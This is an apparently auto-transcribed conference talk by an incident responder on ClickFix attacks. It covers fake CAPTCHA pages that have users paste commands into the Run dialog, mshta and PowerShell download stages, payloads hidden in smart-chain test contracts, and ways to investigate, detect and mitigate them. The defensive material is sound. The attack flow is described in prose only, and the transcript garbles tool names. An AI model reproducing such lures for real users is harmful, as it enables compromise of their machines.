Copy, Paste, Compromise: The Danger of ClickFix Attacks

the diamond back bar after. Um, so there is this great session from Dalton which you'll hear in just a minute and I want to let you know that um I'm going to thank our sponsors for the last time at least I'll thank for the last time you'll hear it again after this. USAA and St. Mary's in particular. USAA is our diamond sponsor and St. Mary's really offers and makes all this happen and that's great including this wonderful powerful air conditioning. Um and and al although you we can complain all you want, every other room is complaining how hot it is. So choose your poison, right? Uh but it is still good. But very grateful for all of it.

And u before I hand this over to Dalton, I want to make sure everyone knows that at 5:00 p.m. which will be just a few minutes after Dalton finishes, there will be our wrap-up. Um and there's a name for it and I can't think of it. >> Closing ceremonies. >> Closing ceremonies. Thank you very much. I know that was that was a tough one for me to come up with, but I I I blanked on it for a minute. Closing ceremonies are at 5:00 p.m. downstairs in the cafeteria, which is where you were able to get lunch. And if you didn't get lunch, it's still in the cafeteria. And I'm now then going to hand this over

for the next 35 minutes or so to Dalton, Ireland. And as you can see up here, you're going to get copy paste compromise, the danger of clickfix attacks. So, as a former radio person, I would offer that's a terrible title. I can't say it, but it is very descriptive, but I'm looking forward to hearing it. So, please, Dalton, take it away. Okay. So, I don't have an all about me slide, so I'll just introduce myself real quickly. I am Dalton Ireland. I'm one of the senior incident responders with Mandant. They're now owned by a company uh called Google that you may have heard of. I get to do a lot of great and fun work with them. Today I'm

going to talk to you about the clickfix style of attack. Uh my experience investigating it and just some things that I can I think you can do to look into it a little bit further and help mitigate it in your own environment. So why are we talking about this? Primarily it works. Uh people are still falling for it. I guarantee you that if you have a fair number of users in your environment, at least one of them has probably knowingly or unknowingly come across a clickfix attack before. Uh, I hope that it can help you kind of guide some of your own IoT discovery, do your own threat hunts, uh, find this in your own environment. I do think attackers

are going to keep using it pretty much as long as it works. They're going to keep evolving it, making it more complex than it already is. Uh, some of them are simple, some of them are relatively complicated. I'll give you a couple of examples throughout the slideshow. And honestly, it was a little bit fun to unpack the activity to investigate it. I got the chance to go back to some more what I would call basic forensics instead of relying on just the uh fancy edr telemetry that we're all kind of used to today. So just to give you a a brief overview of what ClickFix is, uh somewhere in the middle of a user visiting a web page,

the user will be prompted to finish a capture. That capture is most of the time going to look like an imitation of a Cloudflare page, but it's going to have some additional steps there. It's going to tell the user that they need to take a set of commands or something that's been already p uh copied into their clipboard by the web page for them. Look, they they even make it convenient for you. And then it's going to say, "Hey, in order to proceed, you need to go open up the run dialogue or a terminal and you need to paste this in and then you're good to go." Uh and and the tricky thing is a lot of the

malicious scripts and and things like that are hosted on the website or the server side itself. Uh so you don't actually get a lot of insight until you start investigating into how that user even got there. So uh it's pretty basic what you're going to see initially. You'll see a process like explorer.exe. It's going to be the parent process of something like MISTA or PowerShell uh which is already in and of itself sometimes suspicious especially MISTA. You'll get a follow-on request. That first thing that they paste in that's not even really going to be what I would call an official stage of the attack. that's just going to be stage one to then go out and download

additional capabilities and that's where the real maliciousness of the attack is going to start coming into play. And it can be a little bit difficult to determine uh the source that led to those requests because from a technical perspective sometimes it just looks like these commands just started happening. But obviously we know that they had to have come from somewhere. Uh so let's get into one of those scenarios. Uh I called this one Misha misbehaving. I know the text might be a little bit hard to read, but I'll do my best to talk you through it. Uh, this is tool agnostic as far as how you approach it. I do have some examples. They just

happen to come from CrowdStrike here, so I'll speak to some of that as best as I can for you. Uh, but we got an alert here that MISTA was reaching out and doing a suspicious web request. Well, of course, it is. If you can see, it's going to like oppi.u straight from MISTA. uh security tools did with our defense in-depth end up blocking that activity down the line. But I think one of the biggest questions that we want to answer here is how did the user get to the point where they were asked to paste these commands in that caused Misha uh to perform this behavior. I know um if you're investigating web activity, one idea

that you might have to try and determine what kind of happened is well, you know, what is the DNS activity that was happening uh right before this happened? you know, what are some of the web requests and um internet activity that was going on for the host. So, I did just that. Initially, I looked at uh the DNS entries. And I'm going to show you a kind of cool trick there in CrowdStrike specifically if you want to see that information here. Uh that very left screenshot. Uh I know again the text is probably a little bit hard to read from where you're sitting, but if you click on any event that's a process event in

CrowdStrike, you can go down. there's an option to show the process DNS information. It's very handy. However, um in just I think about a minute time span, you can see these are all of the DNS entries that were happening. So, at the very top of that middle screenshot, we do have our uh malicious domain that Misha was reaching out to. However, uh if we try to determine which of those web pages, everything you see after is just everything that was happening right before that. So, you've got Yandex in there, which if you're familiar is a Russian uh search engine. You've got references to Mailchimp, you've got uh Facebook, you know, there there's a whole myriad of things that could be uh,

you know, causing this behavior. But how do we narrow it down a little bit further? In my opinion, this is where you could go a little more old school and say, well, the user was interacting with something. That's how they got to the point where they had to paste commands in. So, uh, I hypothesized maybe if I took a look at the browser history, I might be able to find something that the user was doing that would have led them to this point. Uh, so I did that. I pulled the browser history, and one interesting thing that I found with the browser history, I'm sorry I had to block out some non-malicious work domains there, but this is a 14minute

time span surrounding that initial uh, malicious Mishka web request. And in that 14minute time span, if you can make out the entries at the top of the screenshot here, that's all Google searches. And they're all Google searches for uh happy hour spots uh in and around Miami. And then uh underneath some work domains. There's literally one uh one domain there in all of 14 minutes that's not a Google search or a workrelated legitimate domain. So I, you know, I honestly was not expecting to find much when I went to go and look into this. I mean, it was kind of a shot in the dark. Let me go check out what that web page is doing, but I wanted to

see, right? So next, I was like, okay, well, let's see if I can actually tell if this is the malicious web page or not. Um, there are various tools out there that you can use to view the contents of web pages. Uh, Virus Total makes it pretty easy. Uh, another favorite of mine is URLC.io. It'll allow you to review the content and the code of a web page and usually it'll try to beautify it a little bit for you so that you can make some of it out. So I did that. I used one of my favorite tools to go and look at the contents of the web page. And I'm not going to show you all of the source, but

I'm going to show you the part of the page that gave me pause. So I was scrolling through the page uh and Cardi B and I kind of had the same reaction there when we got to this part. that is uh just kind of a giant blob of B 64 encoded JavaScript. Maybe in and of itself that's not super malicious or suspicious, but it's really really stood out compared to the content of the rest of the page. And I was like, well, you know, the the worst I can do is decode it, and it's nothing, right? So, um if you've never used Cyerech, one of my favorite tools to decode just about anything is Cybersh. So, I strongly

recommend that. That's where I went uh to decode that. And I'm going to show you just most of what that decoded base 64 looked like once I got there. Uh so we have uh quite a few strings here, but most of this is still obfuscated. Uh and what you're looking at here is uh very heavily obfuscated JavaScript. Uh and that in and of itself isn't going to tell you a whole lot just by looking at it. Probably what's going on on this web page. Uh I don't think any cyber security presentation would be complete without a reference to AI. So I'll tell you that a really really easy way to uh deopuscate uh most of what's going on

here would just be to plug it into your favorite gen AI tool. Uh and it'll make pretty quick work of it if you don't have the means or the time to sit around and try to make sense of this yourself. Uh, one thing I do want to highlight here, I I meant to point it out in an earlier slide, is there is actually a domain on the left side there. It's a b&B chain.org. You kind of have to make it out in between some of the strings, but that was one of our DNS entries that we saw the host going to, um, which is something that I'm going to talk about. Uh I'm not going to walk through

everything that this JavaScript decodes to. Uh but I am going to talk about um what it is doing here. And what it's doing is that obuscated JavaScript is uh checking to make sure that the host is running Windows. That's important because uh if you're going to run something like Misha, you probably want to know that it's even going to execute on the user system. And then it's reaching out to uh this bnbchain.org domain at the top. And what makes that kind of interesting, and I'm not a crypto nerd by any sense of the word, so if I misspe here, please forgive me. Uh but there's there are these things called uh BNB uh smart chain contracts and Binance can

use these so that you get um you can pass it a wallet address and when that wallet address gets passed it can execute code um a set of instructions that are stored specific to that wallet. So I think in legitimate cases it can execute some follow-on actions for a purchase that's made uh using that wallet. However, they also have a test network and on that test network, anybody can go and develop code there. It doesn't have to be made public. It can be completely private to the person that develops it. It's not validated in any way that I know of. And so, attackers are taking advantage of these u uh smart chain contracts to then store

malicious code in there because no one's checking it. So uh what happens is the user unknowingly visits all in the background. The web page is sending uh that code that wallet address to this uh Binance test network domain. And then what is returned is the actual malicious JavaScript that then shows the user a page that looks a lot like this, which is one of those fake captures that says, "Hey, you need to go open the run dialogue and execute additional code." So why did why do we want to go through the steps to validate that? Well, we found uh the one domain, the Grails Miami domain. That was the only domain that the user visited that wasn't

Google or workrelated things. So that's something else we can then go and scope for. Uh we found out that there's this smart chain test network out there that's hosting malicious code. we can review the rest of our environment to see if that's something that's common for us or if that's something that we can hunt down and continue to threat hunt. And uh within the uh command line itself of that mist request, there were some uh suspicious references specifically to captas and other things that I'm going to show a little bit uh on the next slide that we can continue to scope down and run down uh in our environment if we want to uh further our

threat hunting capabilities. So here's another scenario. This time uh we have Misha spawning PowerShell and attempting to reach out to a domain. Uh if you can see on the right side there, it's ashop domain and it specifically says I am not a robot and references uh capture with a certain ID. Now you'll notice here some of that's highlighted red. Uh that's because it's Unicode. So, if you're if you're intending to uh continue to look through your environment for more examples of this, CrowdStrike's doing a good job of highlighting it for you here. But if you were to go and copy that and paste it into another uh if you're familiar with CrowdStrike and advanced search, it's

going to try to do you a favor and convert all of that Unicode to ASKI so that if you were to search for this, it's not going to come up and you're going to say, "Well, it's strange that I see it in the alert, but I can't find it again when I go to search for it." So, just be cognizant of the fact that they're inserting some non-standard characters there to try to trip you up when you go to uh further scope for that activity. Now, we have this domain. We see PowerShell trying to reach out to uh Misha trying to reach out to, but then uh we want to know what PowerShell is doing after the initial Misha request.

So, here is uh the PowerShell window. Now, you don't really need to try and spend too much tr time trying to work out what's going on here because most of the text uh that the PowerShell is displaying here is AES encrypted. Now, we're glad that down the line our security tools likely are detecting and blocking some of this behavior, but we still want to probably know what's going on here, right? So, we can inform our own security tooling. So, uh, we're pretty lucky that within the command line itself, if you're familiar with AES encryption, you need at least two things to try and tell what's going on there. You need the encryption key and you need

the initialization vector. Well, they gave us both of those things in the command line. They spelled out the key and uh the IV they initialized there towards the bottom as an empty 16 byt string. So, it's all zeros. So, they made it pretty easy for us. So, uh, if you're like me, I took this straight back to Cybersh, said, "I want to know what that AES encrypted text is." It broke down into a relatively simple PowerShell download cradle again to another one of those shop domains. It's also calling a file calledmpp3. I don't know about you, but I don't know of anyone that's legitimately navigating straight to MP3s anymore. Uh, I think most people are on Spotify now. Um,

but again, it gives us more IOC's that we can then go out and continue to look for. So, we know what the PowerShell was attempting to do, but we still don't know how did the user get to this point in the first place, right? So, let's skip DNS. Let's skip trying to use uh whatever EDR telemetry we might have and just pull the browser history again for that host. And I will say it was a little bit more complicated in this case than just having one domain to look for. So here uh these are all of the nonwork domains that were surrounding that MISHA and PowerShell activity. Uh I took a shot in the dark and I just started uh

started at the bottom of the list and started going up. I didn't know that I would get lucky uh but I did. And as I was reviewing the source, there was one particular domain that stood out to me. It was a little bit different than the base 64 encoded text. Uh this time it was all kind of in plain English. They referenced more of those.shop domains, more MP3s on this page, but in this case they didn't try to store the actual clickfix anywhere fancy the capture page. It's all in HTML there starting at the top with that press Windows button R, open the run dialogue, try to get the user to paste things in. There's some

Russian on this page. Um, they again in the command line inserted some non-traditional characters there to try to trip you up if you're copying and pasting in your detection tools. Uh, but again, this is a little bit less sophisticated way that they tried to embed uh some code onto an otherwise legitimate page that was fantas.com. I believe it's some uh gray area streaming content page that most people would probably consider pirated. Uh but it's just interesting that the the clickfix attack was right there on the web page. Uh and what do we really take away from this? Again, we have more IOC's that we can scope for. Shop domains that Fantasia Zoom domain. Uh more command

line elements. Again, anything pointing to ampp3 uh is probably something that we want to avoid or uh look further into. uh and even though our security tools our defense and depth are catching these things maybe down the line somewhere you know through parent child process relationships uh it's still important to know how users are getting to this point what the IoC's that we should be looking for are and why it's occurring in our environment so some detection opportunities uh that you have here again unusual parent child relationships one big one is updates to this registry key that's on the second bullet point that's the run MRU registry key that actually gets updated each time a user opens the run dialogue, pastes

something in. And the really nice thing about that is the values of this key actually will most of the time tell you exactly what the user entered there. Uh I would look out for any non-technical users that are using curl or mish or anything like that to connect to remote domains. They probably don't even know what curl is. So if you were to see that uh maybe suspicious and then just any external web requests uh from a process like MISTA again I know I've said this a couple times I hope your security tooling is already finding that but just so that you have an understanding of even what's being attempted out there. Uh and then just uh outside of even just

detection or hunt opportunities you could also uh mitigate this. This is kind of your boilerplate answer, but send out cyber security awareness bulletins telling your users. If you're browsing the web and something tells you that you need to copy and paste and you don't understand what that is, uh you probably don't need to be copying and pasting that. The organization is never going to ask you on a random website to execute code on your local machine. Uh and if it's if it's absolutely necessary, you can actually disable the run dialogue via GPO. uh so that if your users were to be affected, they couldn't even open that run dialogue and paste that in. Again, there are a lot of ways

that an attacker could get around that, but it is at least some place that you can start to try and mitigate that. Uh and if you're super interested in ClickFix because there are so many different varieties of the attack. Uh there is some further reading you can do. Uh Google threat intelligence has a great blog about it. Uh there are some other uh cryptobased blogs about people hiding the malicious code in those smart contracts and Microsoft did a pretty big article about it uh as it relates to a Booking.com incident. So that was the last slide that I had for you. Did anyone have any questions related to that? >> I'll be happy to bring a microphone to

you so your question can be heard and recorded. Well, see that that that discouraged everyone. The fact that your question is going to be recorded. None. So, everyone gets that then easy to defend.

>> You got him thinking anyways, Dton. So, if there are no other questions, then I'm going to thank Dalton with our token of appreciation for doing the presentation, especially the last one of the day in a very cold room. Thank you very much. And please join me in thanking Dalton.

Remember, they are the closing ceremonies. Thank you. Uh, it's stuck in my head now. At 5:00 p.m. in the cafeteria. So, that's in 15 minutes. We'll see you there.